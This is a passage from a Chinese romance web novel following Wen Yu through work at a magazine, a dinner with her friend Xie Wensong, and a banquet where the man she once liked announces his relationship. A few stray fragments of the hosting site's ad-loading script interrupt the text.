谢闻颂站在被温遇安排好的位置,一扭头女孩已经跑向对面的游客,问可不可以帮忙拍照。 得到同意以后,把手机交给对方,温遇火速跑到他旁边,拉起他的手比了个耶。 还没等他习惯性吐槽说出口,温遇急忙道:“看镜头。” 说完也不看他是什么表情,自己率先露出一贯面对镜头的微笑。 谢闻颂伸出的两根手指仿佛再也收不回去,帽檐下是伴随这幅画面自然露出的浅笑,他悄悄把手臂横在她身后。 用手比量的小兔子落在她颈侧,看起来像他把她虚拢着,身上披着夕阳光,落日飞车又一趟在他们身后形成背景板的虚影。 咔嚓。 一张照片落下。 定格在细窄的条形相框内。 原来他也是可以喜欢上拍照的。 喜欢照片里的自己和她。 相机是定格难以忘记的瞬间,最好的见证者。 人是会越成长越沉默的,开朗明艳如温遇,也不免在一些琐碎瞬间里逐渐沉默。 谢闻颂看在眼里。 成人的世界大多隐忍克制,很少有特别激情澎湃的时候,但是他觉得,这样难忘的回忆,要给这个世界最好的温鱼鱼。 记录下这些,也是给他。 最好的礼物。 - 工作日。 空调冷气簌簌往下落,靠窗边装饰的假花叶片都被吹得往一边撇,温遇戴了个眼罩,脖子上套着U型枕,正靠在办公椅上休息。 上周生的病还没好全,残留了个小尾巴拖到这周,以往满格的精神劲儿锐减。 从早上到现在,已经有好几个熟悉的姐姐看她状态不对问情况,一上午高强度工作过去,她也只能利用这点时间稍作休息。 今天楼上有装修,温遇原本只想眯一小会儿,结果电钻声远超她的想象。 在网上下单几副耳塞后,她索性放弃酝酿困意,只做闭目养神。 思维发散的空档,她在想晚上回家的事。 组里一年一度根据要求需要做个人背调,温遇想到自己有些资料还在家里,想着下班去取一趟。 上午休息间隙,她原本想和妈妈说一声,发现和徐翩禾的聊天记录还停留在上个月,已经被新消息越顶越往下,温遇略一沉吟,最后还是没说。 在某些事情上,她也有和自己平时性格截然相反的别扭。 就像每个人心里都有一块灰扑扑的地毯,她自然也有。 这些年来,她从家里搬出来这件事看起来是自然而然,开始顺应自己接下来的生活,其实在以前某些时候,她就有了这个想法。 在余杭读大学的第一个月里,连周围本市的同学都直嚷嚷着想家,温遇这个从外市过来的学生倒显得格外平静。 也不知道从哪些细小零碎的片段开始,她对于“家”这个定义,也在默默改变。 午休时间飞速过去,温遇不擅长把情绪带到工作上,火速清理心里残存的垃圾,投入状态。 下午工作群发来校对页,在提前预览下个月的杂志页时,温遇不出意外看到某张熟悉的脸。 左手握成拳轻抵下颌,右手带动鼠标改变小箭头位置,她的视线最后落在谢闻颂深色衬衫的领口处。 领子边儿好像有一块白色,温遇放大图片,试图去发现那是什么。 只是因为角度原因,并不好看清。 将图片调整回原来大小,从她身后路过的林檬眼尖,一下子看到屏幕上的谢闻颂。 “温宝你也在看啊。”林檬一边手臂搭在挡板上, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “今天摄影组选出来的几张照片放到群里的一瞬间,群里可挺热闹,你没看?” 温遇摇摇头,“我刚才在预览页面,看有没有别的问题。” “没事,帅哥多看看,养眼。” 林檬笑了声,对上温遇的眼神,看破不说破。 温遇知道她应该是误会了,想想还不是不多做解释,只是将下一页杂志调出来校对。 下午下了阵小雨,温遇从杂志社出来的时候地面还没干,时间已经过了六点,她还是决定打车回城南别墅。 路上也有点堵车,温遇盯电脑一天,现在也不想看手机,直接将屏幕倒扣在腿上,将目光移向车窗外。 用这样没由头的发呆消磨时间,其实在她生活里并不常见,学生时代习惯高效率认真做一件事已经成为常态,纵使有这样可以稍微放松的时间,一般也会被她安排进不太消耗体力的学习,比如听书或者背单词。 工作以后,倒是经常有发呆的时刻。 怎么越成长反而越像小孩子了。 她也不太能想明白。 温遇到家的时候客厅没人,家里阿姨看到她,打了个招呼便去忙自己的事。 她松了口气,直奔二楼自己的房间。 房间定期有人打扫,这个她并不担心,屋子里保持她走之前的模样,书柜是实木订做,温遇嗅到了让人静心的木质香。 高三压力很大的时候她染上一个“怪癖”,特别喜欢闻木头的气味。 那会儿做不出来题压力很大,她就索性把卷子扔一边,靠在书柜旁坐在地上,找一本童年喜欢的书一页一页回看。 谢闻颂当时,好像就没有这个烦恼。 卷子上的题他都会,也基本没有考差的时候。 不知道她羡慕了他多少次。 温遇有自己放东西的规矩,很快找到了透明档案袋里面的文件,转身准备放进包里,胳膊碰到了窗帘,有东西砸在脚边。 是几年前她去迪士尼买的星黛露窗帘扣。 这个也塞进包里,温遇关好灯,重新将房门合上,正要下楼,看见从门口进来的三人。 温成钢让护工带温途回房间休息,徐翩禾把挎包挂在门口,还是温途仰头第一个看见她,喊了句姐姐。 夫妻二人这才看到二楼楼梯口的温遇,徐翩禾明显愣了下:“温温?你回来了?” 温遇脸色如常,看上去没有什么情绪波动,露出抹笑:“嗯,回来拿点东西。” 温成钢将西装外套搭在椅背,也往这边走,语气沉稳和缓:“今晚在家住吗?” 温遇摇头,刚想开口,徐翩禾抬手碰下她肩膀,“工作这么忙呀,下次在家里住吧,爸爸妈妈多准备几道你爱吃的菜。” 温遇还没说话,温途不知道从哪窜出来,一下子拉住她的手:“姐姐,姐姐陪我玩!” “要不你今晚就在这睡,明早再去上班。” 女孩摸了摸他的头,对上徐翩禾的目光,扯了个谎:“谢闻颂送我来的,他车还在外面,等有机会的吧。” 提到这个名字,徐翩禾没再说话,只是说好。 温途闹了会又困了,松开温遇的的手又去缠徐翩禾,后者答应晚上给他讲睡前故事才罢休。 温成钢送她到门口,半截突然道:“你和小颂现在关系怎么样?” 这样试探意味的家常温遇不太习惯,只能用三个字答复:“挺好的。” “有空也带他来家里坐坐,我和你妈妈也挺喜欢他的。” 温遇不太懂这是什么意思,含糊嗯了声便往外走。 天色一片黑沉,她抬头望不到一颗星星。 上地铁时候突然饿起来,温遇挺到出地铁口,往路边的便利店走去。 店里没座位,温遇只能提着袋子在外面吃。 蹲在台阶上,温遇咬了口黑椒鸡肉串,黑椒酱有点辣,她越嚼越慢,那股辛辣像把剑刺穿喉咙,生理的眼泪霎时堆积在眼角。 这肉串她不是第一次吃,之前都挺喜欢的。 今天吃,感觉味道不似从前。 吃掉半截,嗓子眼被辣得发疼,温遇把吃剩的重新放回包装袋。从打包袋刚准备拆饭团,头顶有人在讲话。 “原来晚上打不通手机,是在这里吃夜宵。” 语气闲散平静,带着朋友间熟稔的揶揄。 不用抬头都知道是谁。 还真是巧,今天上午刚在杂志页上看到的人,这就遇见了。 她有理由怀疑他俩身上有吸铁石。 不然怎么总能遇见。 温遇抬头,谢闻颂似乎等待她目光已久,四目相对,视线镶嵌的瞬间,他好像挺开心。 门口灯光晃了一下,温遇没太看清他到底笑没笑。 林思睿从谢闻颂身后走出来,两个人今天穿的都是正装,应该是有工作和应酬。 “妹妹,去不去吃好吃的?今天你哥请客。” 林思睿顶着忒坏的表情往旁边指,明显这“你哥”指的是谢闻颂。 谢闻颂承接下林思睿全部调侃,无所谓耸耸肩膀,从西裤里抽出手朝温遇伸过去。 “走吧,哥哥请客。” 23.鱼鱼 23/ 商业文化街的海鲜大排档里,靠里面的小木桌旁坐了三个人。 温遇坐在最里面,眼神瞟向旁边的谢闻颂,又移向对面的林思睿,严重怀疑这俩人今天是不是一起吃错药了。 心里这样想,嘴上当然不能这么说。 毕竟1v2,她毫无胜算。 据说海鲜不能和维c同时吃,温遇点餐时把柠檬气泡水换成酸梅汤,扶着杯子一口口缓慢吸。 店里人也不少,加上室内空间逼仄,谢闻颂脱下来的西装外套都不知道搁哪,最后还是温遇拿出旁边的包,说要不放这里。 “你怎么老找这么小的店。”谢闻颂蹙起眉,边挽衣袖边看向林思睿,明显有点不满。 “你不懂。”林思睿自动忽略对面幽怨,反而笑得一脸狡黠:“这小店才有情调呢。” “这家可是某评上吃海鲜排名前几的店。” 林思睿阐述完自己的理由还得找个人认同他,直接cue对面专注喝酸梅汤的人:“妹儿,你说是不是?” 温遇也不知道就他们三个人吃饭还要什么多余的情调,不过也没反驳,咬住吸管点点头。 他说什么就是什么吧。 林思睿把目光给到谢闻颂,一脸“你看我说得对吧”。 后者没言语,一般温遇点头的事,他基本不会再有别的意见。 林思睿明显是掐准了这一点,自己说完先问温遇,这招屡试不爽。 谢闻颂自然知道他在想什么,递来一个威胁的眼神,林思睿明白他意思,但又觉得多多少少得做点什么。 毕竟刚才车上的某人,可不是现在这样。 一副惯常懒散的,不愿搭理别人的模样。 这才是谢小少爷的真面目。 这样的人明明参加了一天的活动累得不行,却还是能一眼就能在人群里看到某个身影。 看见熟悉的人,谢闻颂平静的眼波流转变化,像沉默的人想推开房门走向外界,让身上不只是黑白两色。 不过这样的事,温遇是不知道的。 她现在挺开心,因为桌子上都是她爱吃的海鲜,刚才在便利店门口堆积的情绪早就消散在美食里。 她是挺容易自愈的人。 “你们今天是有什么活动吗?”温遇带着手套扒小龙虾,“还都穿正装出席。” “今天远郊会议中心举办了个互联网+的展会,我俩就去看了看。” 温遇一直有看新闻的习惯,对这件事有个模糊印象,点点头,然后往旁边看:“你怎么没穿那件深蓝色的衬衫?” 对面的林思睿眼神立刻抬起来,似有若无在他们两个人之间转。 温遇话刚说完就有点后悔。 主要是她突然想起谢闻颂那件上杂志的衬衫,就这么顺嘴问出来了。 温遇装作没事人一样低头拆虾壳,林思睿见她低头,连忙去看谢闻颂脸色。 他先是一怔,然后立刻偏头,将头顶对着林思睿,脸朝向温遇:“那件衣服放在家里了,你看见了?” “……” 林思睿这个角度只能看见某人的浓密黑发,突然感觉这空间里只有他多余。 谢闻颂继续聊这个话题,温遇嗯了声,偏头正好对上他侧过来的脸。 她注意到他额发略微凌乱,下眼睑颜色略深,应该最近没太睡好。 温遇不主动好奇他的私人生活,便也只当看见没有多问。 三个人连吃边聊,时间竟也过得很快,温遇最后吃完,喝尽杯子里最后一点酸梅汁。 冰块还没化完,她用吸管戳了两下,竟然戳出个洞。 林思睿托着下巴看她:“温遇,你下周参加宴会吗?” 没具体点明,温遇意识到他说的是陆星桓家里的宴会。 陆家这次宴会提前一个月就发了邀请函,圈里的人基本都已经知道,温遇点头,也没隐瞒:“去。” 林思睿似乎就这一个问题,问完就没再说话,还是谢闻颂提出回家,三个人才从椅子上起来。 谢闻颂的西装外套还在温遇挎包里,就自动承担拎包任务,站起身时手臂从她身后绕过,指尖挑走包带。 温遇眨眨眼看向旁边已经拿好包的人。 拿包的动作还挺熟练。 不知道在哪儿练过。 夜幕四合,返程是林思睿开的车,温遇折腾了一天还跑了趟城南别墅,此刻累得不行,下车的时候哈欠连天。 电梯到楼层,温遇就着谢闻颂的手把他西装外套拿出来,递给他之后拿回包就要走。 “温鱼鱼。” 身后谢闻颂喊她名字,温遇回头。 短廊灯光泛黄,更能照清谢闻颂下眼睑的深色,温遇瞧着,这时候看似乎比刚才颜色深。 脑海思绪像灯芯噼里啪啦炸着细小火星。 鬼使神差,她问:“你需不需要褪黑素?” 空气凝滞,谢闻颂沉默着没说话。 温遇单手扣着门把,抛给他一个疑惑的眼神。 西装外套明显质感很好,在她包里塞了那么久都没什么褶皱,谢闻颂随意搭在手臂上,往她这边走了两步。 距离骤缩,温遇的困意被驱散几分,抬眼看他。 此刻的场景,她总觉得熟悉。 没来得及将回忆精确到帧,谢闻颂的衬衫袖管蹭上她的胳膊,温遇穿的半袖,皮肤表面仿佛起了电流。 始作俑者垂眼伸手,神情自若地把快从她挎包里掉出来的星黛露接住。 明显是温遇刚才拿外套时候没注意往外带的。 紫色毛茸茸的耳朵被他轻松提起,整只兔子悬挂在他手下,谢闻颂瞅了眼兔子,又看向兔子的主人。 “兔子耳朵要掉出来了。” - 从周末恢复到上班作息,对温遇来说并不容易。 这几天她的睡眠质量也不太稳定,把一直搁在书柜里的褪黑素拿到床头,实在难以入睡的时候边吃两粒。 那天晚上看见谢闻颂,出奇地有一种同病相怜的感觉。 从早上到现在精神状态不是特别足,温遇午饭后难得从楼下拎了杯冰美式上楼,刚巧撞见摄影组王姐在他们工作区那块和设计组同事聊天。 温遇打了个招呼,便回自己工位上坐着。 林檬从旁边探过头,温遇自动把只加微糖的拿铁递给她,林檬笑着接过,顺带捏了下她的脸。 温遇将美式插上吸管嘬了口放在一边,苦得她只皱眉。 果然人不能轻易尝试全新的事物,她想。 中午的时间睡不着,温遇索性翻开印厂刚寄过来的杂志打样,每个组分了几本,林檬从茶水间路过,拿了本给她。 指尖抵住铜版纸一角,温遇正看着,冷不丁在身后听见个熟悉的人名。 手上翻页的动作略微停顿,温遇默默转移注意力。 林檬明显比她更早听到,此刻早已加入王姐的探讨团队。 “你说这是那谁?我看怎么不像?” 王姐哎呦一声:“这么远拍成这样不错了,我也没想到我和我老公那天晚上一起逛夜市能遇见他。” “在哪碰见的?” “就礼南路那边的商业文化街。” 熟悉的字眼宛若闷锤猛凿心房,噼里啪啦像断掉的珍珠项链砸落。 温遇假装什么都没听见,实则已经把耳朵竖起来。 王姐感慨道:“小谢真挺上镜,这么远拍出来,侧面看还是挺明显认出的,和杂志上没什么区别。” “没想到他那样的人也会在这吃饭。” 林檬反驳:“人家又不是喝露水长大的。” 说完她似乎看到什么,惊呼一声:“这旁边女生是谁啊,被谢闻颂挡住了,根本看不清脸。” 温遇呼吸微微一滞,铜版纸略硬,在指腹处不上不上卡住,看上去有一种不太自然的迟滞感。 “估计是他朋友吧,坐在最里面不太能拍到,只能露出一小点。” 林檬噢了声,没继续问。 温遇微微松口气。 语过三巡,她基本已经确认那张照片的女生是自己。 此刻庆幸那天晚上自己嫌头发疼把发绳解开,至少垂落在耳侧能挡住一部分脸。 还好话题就讨论到这,午休时间结束,林檬重新回到工位上,看见温遇美式只动了一口,以为是她喝不下去,问要不要和她换。 温遇收回思绪,摇摇头。 好像品着品着,这苦味似乎比刚才淡了点。 …… 隔日下班之后,温遇想去商场买一双高跟鞋。 这还得怪她那天仓促回家,却忘记从家里面拿一双。 当时从家里搬出来,她把几双常穿的运动鞋都带走,剩下一些坡跟或者高跟的鞋放在家里。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没带的原因,一是觉得工作原因跑来跑去还是穿运动鞋比较方便,二是高跟鞋她基本没几双。 除了双为十八岁成人礼准备的鞋之外,剩下的温遇基本没什么印象。 她又不太想因为这事再回趟家,纠结之后还是决定去商场一趟。 正好余源的女儿正要过生日,她也要去给孩子选礼物,便约着一起去了。 温遇和余源家里住的都离单位不远,就顺便一起把晚饭约掉。 饭到中途,余源还问像她女儿大小的姑娘一般都可能会喜欢什么,毕竟温遇刚大学毕业,问一些年轻人的意见,总没什么错。 温遇想了几个以前家里人送自己的礼物,寻思给余源多提供一些思路。 筷头夹上鱼肉的时候,她突然想起自己还欠谢闻颂一个生日礼物。 差点又忘记了。 不如借着这次机会,也看看有什么可以买到的。 饭后,温遇跟着余源进了一家文创杂货店,设计新颖漂亮的文具分类摆放,她都想扫荡一空。 买好看文具哄自己的心情又上来。 她的记忆还停留在小时候学校旁边开的文具店,一放学必定水泄不通,转身都费劲的店面却五脏俱全。 谢闻颂之前还问她怎么记得这样清楚。 温遇回他:那你得问我那点零花钱都花在哪儿了。 财迷的记忆只会和财有关。 谢闻颂还被噎了一下。 余源在挑东西,温遇就在店里漫无目的地逛着,指尖从一排粉色的包装盒擦过,无意间转头,她看见摆放在木柜里的小夜灯。 月亮造型,上面一熊一兔互相抱团取暖。 温遇凑近看,上面还有细小雕花,做工相当不错。 挺符合她的审美。 至少没让她一眼扫过便不感兴趣。 正想着,温遇伸出手拨弄了下月亮尖悬挂的小铭牌。 店里工作的人见她这边没动,便走过来,指了下那个圆形铭牌:“女士,我们这里可以刻生日日期。” 温遇点头:“还有什么其他功能吗?” “这个可以录音,只要电量够,就能一直循环播放刚刚录的音。” 她没想到自己随口一问,竟然有意外惊喜。 余源给女儿选完礼物,转头看见温遇拎着个粉色的手提袋站在一边,她走过去看了眼:“也挑礼物?” 温遇笑:“嗯,我也有个朋友……过生日。” “快过生日”这四个字硬生生被她憋回去,毕竟应该没有过这么长时间才给人补礼物的。 说起这事来她都心虚。 选高跟鞋时,温遇明显没有刚才选礼物那样认真,挑了双干净简约的裸色高跟,素净到不行。 余源明显更喜欢临柜的尖头镶钻款,还挺遗憾温遇为什么没选那双。 不过她视线落到正在试鞋的小姑娘身上,似乎也明白了什么。 余源毕竟是社里的老人了,看人一向还挺准。 这女孩其实一直活得很简单。 新入职的温遇低调得不行,平时在组里不声不响,做事倒是勤快认真。社会不比学校,新人入职难免很多东西需要尽快适应,温遇有不懂的就去跑前辈,态度谦虚礼貌,和她打过交道的同事都印象不错,自然也愿意告诉她。 职场有很多隐形的规则,同事之间相处过程里不免因意见相左而产生龃龉,这小姑娘倒是条清流,性格好像是个圆角,和谁都能合得来。 这样的小女孩,好像有自己的世界,漂亮冷静,能同时驾驭活泼和内敛两个几乎相反的词语。 余源总感觉这姑娘把自己内心的东西藏得很深。 就好像她现在,顶着微微炸毛的马尾,专注试鞋。 灯光落到她脸上的时候,可以看到温遇上妆的痕迹很淡,唇色也浅,睫毛投下的阴影有几分和她平常气质不同的感觉。 温遇试好鞋便去结账,从选鞋到结账的过程她基本没什么犹豫,就像例行公事一样,余源没忍住问她:“为什么不再多选选?” 温遇把刚买的甜筒,连同纸巾一起递到余源手里,自己垂头咬掉一个尖,语气一如平常。 “可能我比较看眼缘吧。” 她略顿:“有时候一下子看到某个合眼缘的,就很难再挪开视线了。” 余源侧头看她。 感觉她在说鞋,又好像不止在说鞋。 24.鱼鱼 24/ 宴会的位置定在派悦酒店,酒店靠近南川的文化产业园,近些年发展传统文化成为时代新潮,这里建设自然不差。 零零散散分布在周围的还有些俱乐部,陆星桓在这里设宴,温遇倒不意外。 只是那地方她不太熟,提前联系程以桉打算和她一起去。 刚上车,后座的程以桉便将她从头到脚打量个遍,然后颇为难以理解地啧了声。 “你这穿得也太素了吧,好歹戴个项链,白瞎你这么好看的脖子。” 温遇不紧不慢从小包里掏出个红丝绒盒,瞥了眼她:“谁说我不戴?” 程以桉像磁铁吸附凑到她旁边,目光盯着打开到一半的小盒子,好奇问:“你买新项链啦?” 下一秒,她眼前一黑,差点直接昏厥过去。 “不是,谁让你拿这条的啊。” 温遇双手绕到颈后正准备系上:“怎么了?” 程以桉忍住晕倒的冲动,往前凑试图验证自己的猜想,看清项链模样之后彻底断送最后的庆幸:“这条你从刚上大学就开始戴,你看着这边缘都掉色了。” 她用手指了下,温遇视线瞄过去,疑惑道:“我也没看见啊。” “……” 程以桉用难以形容的表情看她,语气有种莫名委屈:“你去年生日我送的那条,统共没见你戴过几次。” 温遇看她故作生气的模样,笑着变戏法似的又掏出一个盒子,打开盒盖,赫然是程以桉刚才说的那条。 Vancleefarpels家的经典款,还有条配套的手链。 程以桉的礼物一向是心意和价值并存,温遇收到后一直稳妥收着,很少拿出来戴。 今天临走的时候,她倒是想起这茬,只是手链没拿,就单把项链带出来了。 在程以桉满意的目光里,温遇把项链换下来,手指搭在锁骨下,展示给她看:“好看吗?” 程以桉全方位视角将她扫视一圈,刚才怒其不争的眼神取而代之染上笑意:“好看,不愧是我闺蜜。” “好会夸,不愧是我闺蜜。” 两个人互相被逗笑在车里闹开,聊着零零散散的日常,感觉路程上的时间倒也并不漫长。 时间不晚,此刻刚到下午,有专门的工作人员帮忙拉开车门,扶着程以桉和温遇下车。 “好香啊。”程以桉感慨句,将头发捋到肩膀一侧,温遇到她身边帮忙把绕在耳环的头发挑开。 程以桉目光绕着周围打量一圈,声音很小:“还挺漂亮的。” 酒店周围是一大片花圃,呈半环状将中间的建筑物圈在里面。除此之外,室外还摆放了大量鲜花,馥郁芳香估计隔条街都能闻见,缓慢有节奏的轻音乐徜徉花海,不管是场景布置还是现场氛围都拉到极点。 是让人觉得用了心的。 温遇和程以桉向工作人员示意邀请函以后便进入主会厅。 程以桉正用目光搜寻自家哥哥的身影,温遇则看向会厅中央醒目的香槟塔,最下面那层环了一圈小蛋糕。 “我哥他估计现在没看手机,我去二楼找找他,你一个人在这行吗?” 程以桉知道温遇得有段时间没参加这种场合,担心她突然来不适应,于是压低声音问她。 “我没事,你去吧。” 目送程以桉消失在眼前,温遇根据颜值选择两块小蛋糕,转身端到没什么人的角落,视线压低,默不作声将会场里的情况看了个大概。 能被陆星桓邀请的,除了他身边熟悉的人,自然也会有某些领域上有一定知名度的宾客,温遇刚视线扫过,隐约看到几位财经杂志上的常客,属于不太记得名字但是有印象的程度。 这样的宴会掩盖在觥筹交错下,自然多多少少有些利益牵扯。 今天应该也不意外。 不过这些和她并没有什么关系。 温遇目光在某处略作停顿。 时尚圈向来和媒体打交道,她上班之后,自然也有这方面的接触。 今天明显看到几家媒体记者也在这。 隐隐猜到原因,温遇嚼食物的动作慢下来,突然有点食不知味。 视线在周围布设上绕圈。 宴厅内部整体的风格偏向欧式,应该是仿照欧洲歌剧院风格所建。 挑高双层,穹顶画,复古花纹蜿蜒于石柱,艺术史课上曾经学过类似的知识,温遇今天倒是能短暂对号入座一下。 欣赏完装潢接着把注意力放在两两三三攀谈的人群,专业病发作,温遇突然意识到程以桉在上车时说她“穿得太素”是什么意思。 会厅里与她年龄相仿的女孩不少,有些温遇并未见过,只是她们大多身着落地长裙,也不乏颜色较浅的款,不过也没像她一样从头素到脚的。 除了程以桉送的那条项链,她身上其他装饰基本不过几百。 今天为了走路方便,温遇选了这条刚到脚踝的裙子,脚上是前两天买的裸色高跟,为了今天,她前几日还反复练习穿这双鞋走路。 现在看来效果还行。 她的裙子不算少,参加这样的场合足够穿,温遇也没想着在这方面下多大的功夫。 最后一小块蛋糕吃完,温遇将餐盘放在一边,站在廊道旁,正要摸包里的手机,有个女生拖着稍长的裙摆从她身边经过。 香风阵阵中,温遇认出来那是陆星桓的妹妹。 她不太熟。 不如说,和他们一家都不熟。 其实也没必要熟悉什么,她于他们,陌生人而已就好。 当做不在意,温遇解锁手机,发现林思睿一个小时前给她发的消息。 three:妹妹,我们在派悦后面打球呢,你几点结束,我和那谁去接你啊。 那谁。 谢闻颂什么时候有别的外号了。 派悦酒店附近有不少俱乐部,温遇大概猜到他们应该在那儿打。 温遇不知道自己这边几点结束,斟酌回复:我也不太清楚结束时间,我可以坐桉桉的车回去,你们忙完就别等我了。 那边没回复,温遇便将手机放进包里。 视线拉远,另一侧走廊,陆繁笙亲切挽住旁边人的胳膊,被挽住的人一袭某品牌的秀场款礼裙,深蓝色缀钻,宛若月色化作碎片落于海面。 漂亮得仿佛和周围的一切有壁。 女人拨开耳侧的长卷发,露出上翘的红唇,她双臂揽着,抱了一下身边的陆繁笙。 两个人看上去关系很好。 隔了点儿距离,温遇看不真切,总感觉她很眼熟。 目光在那略作停顿。 温遇记忆力并不差,很快在脑海里找到答案。 那天她和余源去商场的时候,后者还指了下大屏幕上的某广告代言人。 和此刻亲眼看到一样漂亮。 温遇想起来,自己之前买的杂志封面也是她。 季霖菲。 - 包厢里,只有谢闻颂和林思睿两个人。 天花板边缘打了一圈灯,光很静谧向下投射。 林思睿正拿着巧克擦球杆前端,目光却落向对侧沙发,正把笔记本电脑放在腿上处理工作的某人。 “你来这儿就是打工的?” 林思睿无语,瞥了眼放在旁边已经熄屏的手机。自从刚才温遇发过来消息之后,这人身上的气场就悄无声息变了。 当时俱乐部的经理尴尬站在那,也不知道该说什么。 最后还是林思睿说没事,让他先离开,对面人才松了口气。 旁人不清楚,可林思睿却知道原因。 虽然是从他手机上发过去的,对于谢某人的影响力并不亚于亲自问然后碰了一鼻子灰。 不过林思睿也清楚,谢闻颂现在的心情糟糕成这样,不只是温遇发的信息,还有她今天去的地方,要去见的人。 这不,现在台球也不打了,径直坐到旁边试图当个背景板。 自己和自己较劲是几个意思。 谢闻颂双手停在键盘上,没什么情绪瞟他一眼:“你今天把我拉到这,就为了问她那句话吗?” “不啊。”林思睿击进一球,吹了吹球杆皮头,“这不邀请你打球吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “……”某人打字的动作顿了下。 对啊,一开始确实是约球来着,只不过地点并没定在这。 是那天晚上温遇说自己要去宴会之后才改的地方。 “林思睿。”谢闻颂咬字清楚念出他名字,“我是不是,改变了很多。” 语气听上去无波无澜,但是林思睿知道,能让谢闻颂这样说,说明他的情绪并不像往常那般平静。 他在认真考量,自己这份喜欢,是不是让他原来越不像原来的自己了。 “出国这几年,我和你好几年没在一起待过,有变化也正常。” 好似安慰的一句话,谢闻颂并没立刻回,仍旧垂着眼坐在沙发一角。 屏幕上的字突然变得晦涩难懂,他坐在那,也不知道在想些什么。 林思睿有时候挺不喜欢他沉默这样子,一副仿佛已经被全世界抛弃的样,挺不争气看他:“喜欢就去直接和她说,自己难受个什么劲。再怎么难受,不说,她又怎么会知道。” 一鼓作气吐完心底这口憋了半天的话,林思睿见他还是刚才的状态,干脆给足他时间自己思考。 谢闻颂不打球,那他打。 上半身俯到一半,刚才一贯沉默的人突然开口。 “她只是不喜欢我而已,又不是什么难过的事。” …… 在程以桉第三次凑到她耳边想说什么又顿住之后,温遇默契在她转头同时看过去。 这么多年一起相处的人,有时候熟稔到一个眼神就能明白是什么意思。 温遇笑了下,主动开启话题:“这场宴会,是有重要的事宣布,是不是?” “比如,他的——”她停顿,斟酌措辞,“私事。” 刚才从程以灏那里回来,温遇就察觉到程以桉的变化,虽然看起来努力保持之前那样轻松调侃,可是改变不了个别吐字的犹豫。 几次欲言又止,伸出又缩回的手指。 就连此刻坐在位置上,她也余光总往这边落。 暗示意味不要太明显。 程以桉看温遇笑,心里不是滋味,“你猜到了,为什么还笑。” “这个场合,我总不能哭出来吧。”温遇微抬头,看见穹顶画,金灿灿的颜色,让人联想到秋天。 好在,秋天也不远了。 程以桉垂眼,离温遇近的那只手无声攥住她的:“没关系的,你不想看我们可以先走,那是后面的事情了。” 温遇回握住她的手,笑容和往常一样,眼神波澜不惊:“桉桉,我没有那么脆弱。” 程以桉没再劝阻,只是说:“如果你想离开了,我和你一起。” 她轻点头,目光重新聚焦台上。 温遇对陆星桓有心思这事,程以桉一直认真保守秘密,不曾告诉任何人,哪怕是亲哥,在这件事上她都多留了个心眼。 也有很多个日夜里,两个人躺在一起,互诉少女间难以启齿的心事。 程以桉一直握着温遇的手,目光落至她唇畔礼貌的弧度,也将满腹的话渐渐收敛。 或许,温遇自己想得最明白。 她一向,是最会安慰自己的人。 程以桉有时候觉得自己很了解她,但又觉得自己有时候又有点不太能看透她。 可她此刻能做的,就是将旁边人的手,握得更紧一些。 温遇待到了宴会结束,走出门的时候,天色已经暗沉下来,天边能看到的地方残余一抹绯红。 程以桉走在她身后,正平复着呼吸:“温温,要不我再去问一下我哥,陆星桓他……” “桉桉,你能送我回去吗?” 温遇截停住程以桉的话。 她知道她要说什么。 温遇回头,披散在肩头的长发顺着脸颊弧度被风掀起,她眼睛透亮,笑容如旧,仿佛没有被任何不愉快的事情影响到。 程以桉看着她,最终还是把那句话咽了回去。 “好,我们走吧。” 天边绯红快被黑暗拉下去的前一秒,程以桉上前握住了温遇的手。 她的手好凉。 25.鱼鱼 25/ 宴会的最后一环,陆星桓从台侧朝等待已久的季霖菲伸出手,两个人并肩站在台上。 大厅的灯突然灭掉,只有台上亮着光,底下的所有人都往聚光的方向望去。 陆星桓坦然接受众人目光,率先开口,澄清之前自己带季霖菲去医院看外公的事。 他面带礼貌微笑,在澄清之后简单说了几句自己和季霖菲的关系,既没有过多透露自己的私事,但又能让众人接受。 陆星桓其实一直在圈子里很低调,就连前几年出国读书这件事,都是后来才说的。 一开始大家都以为他只是去旅游,谁承想在那一待好几年,身边朋友恍然的时候,陆星桓已经步入自己人生的新阶段了。 从小和他一起长大的人不少。 属于身边朋友都挑不出什么毛病的人。 温遇没有刻意打听过他的消息,只是程以桉憋不住,有时候会把从她哥那儿听来的和她讲。 讲完还要看看她的表情,似乎要弄明白陆星桓身上到底有什么值得人喜欢的。 程以桉对这种闷葫芦一样的人并不感兴趣。 温遇却知道,他并不是这样的。 也或许是正因为她见过他特别的样子,所以平衡天秤会有一瞬间倾斜。 于是这样的时光一晃过去。 她还习惯着偶尔生活里突然有他的消息出现,等着等着,等到如今在眼前亲眼见证他已经有了喜欢的人。 她明明也在往前走,没有刻意等谁的出现。 可是今天听闻这样的消息,还是恍然。 说不清心口那股莫名的感觉到底是什么,温遇只觉得有些堵。 她其实有尝试过幻想着一天的到来,预设自己心情会不会如坠峡谷般跌宕。 现在看来,比预设中平静很多。 就好像按照自己的方式调好了一杯柠檬水,可品尝的第一口,还是酸得不行。 不是蜂蜜没加足够,而是她以为自己足够能吃酸。 微微下坠的心情,是那份对自己能吃酸的固执。 白光从两个人身后往前照,不知道是谁先起了头鼓掌,带起了一片。 程以桉侧头看向温遇,她脸上表情平静,仿佛和她相处的每一个瞬间一样。 看着看着,她瞥见温遇抬起手,在胸前手心对扣,也跟着鼓了两下掌。 / 陆星桓这个名字,是温遇刚开始上高中那会儿就听过。 除了小学她学习的进度慢了些,后来生长发育趋于平稳,成绩也逐渐提升。 以还不错的成绩考入南川附中高中部,基本是温遇很有把握的事情。 有时候温遇还怀疑,是不是因为自己身边有一个做什么都厉害的超级大魔王,所以连带着自己的自信也重新树立起来。 报道当日只安排了领课本这一项工作,谢闻颂和她在一个班,但他今天跟着乔若琳去拔智齿没法到校,所以他的书就需要温遇帮忙整理。 她把书按照薄厚顺序摞到一起放进桌斗里,谢闻颂有点洁癖,所以放之前她还仔细拿湿纸巾把里面擦干净。 这些工作基本做完,程以桉已经在班门口等她了。 程以桉和她不是一个班,他们班放学早,她过来时,看温遇班老师还在讲台上讲开学注意事项。 等温遇出去时,她问要不要一起去操场上正热闹的社团招新瞧瞧。 